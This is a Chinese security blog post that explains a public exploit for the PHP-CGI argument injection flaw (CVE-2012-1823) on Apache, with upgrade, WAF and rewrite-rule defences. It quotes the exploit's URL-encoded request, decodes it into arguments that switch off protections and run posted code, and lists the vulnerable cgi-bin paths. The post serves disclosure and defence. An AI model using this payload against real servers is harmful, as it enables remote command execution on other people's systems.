关于近期发布的apache+php cgi mod攻击代码

素包子 2013-10-30 191196人围观 ,发现 11 个不明物体 WEB安全

caoz群里有大佬们问到这个事,作为一个炒粉,我简单的解释一下来龙去脉。

一、缘起:

1、攻击代码

国际知名的漏洞攻击代码发布机构 exploit-db发布了一个针对apache+php的攻击代码,作者为著名国际黑客Kingcope。详见 http://www.exploit-db.com/exploits/29290/

攻击效果图源于网络

2、漏洞

实际上这个漏洞在2012年5月份就被发现了,php官方也修复了这个漏洞。

详见 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

3、成因

php作为cgi模式运行的时候,接受-s  -d -c 这样的参数,我们看看这些参数的功能

-s Output HTML syntax highlighted source -d foo[=bar] Define INI entry foo with value bar

然后再看看攻击代码片段

char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \

解码出来是

%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n

这样Kingcope的攻击代码思路就出来了。

关闭各种防护的参数,打开各种危险的参数,最后利用auto_prepend_file(或auto_append_file)这个参数把黑客需要执行的系统命令传递过去了。

二、利用条件

不少同学关注利用条件,针对上述公开的exp,总结一下,要利用这个漏洞,必须同时满足如下条件:

1、apache+php是用cgi模式跑的,例如apache的mod_cgid

2、php解释器需要可以从下面的url访问到,当然或许可能是其他的url,这个具体要看你的配置

/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/php4

3、php版本
PHP版本小于5.3.12
PHP版本小于5.4.2

三、防护

0、升级到php的最新稳定版

1、如果你有web应用防火墙,那么可以在waf上拦截上述url及利用到的关键字,(小心黑客用一些编码技巧绕过你的规则)然后给运维充足的时间去升级。扯远一点,waf部署容易运营难,这也是为什么好些公司部署了waf但是依然web被黑的原因之一。

2、如果你没有waf,又想为升级php争取时间,可以考虑下列rewrite规则

RewriteEngineon
RewriteCond%{QUERY_STRING}^[^=]*$
RewriteCond%{QUERY_STRING}%2d|\-[NC]
RewriteRule.?-[F,L]

四、FAQ

Q:nginx+php fastcgi模式是否受这个攻击代码影响?

A:暂时不受公开的攻击代码影响,但有空最好还是升级一下php。

Q:nginx+php+fpm模式是否受这个攻击代码影响?

A:暂时不受公开的攻击代码影响,但有空最好还是升级一下php。

发表评论

已有 11 条评论

取消
Loading...

特别推荐

关注我们 分享每日精选文章

css.php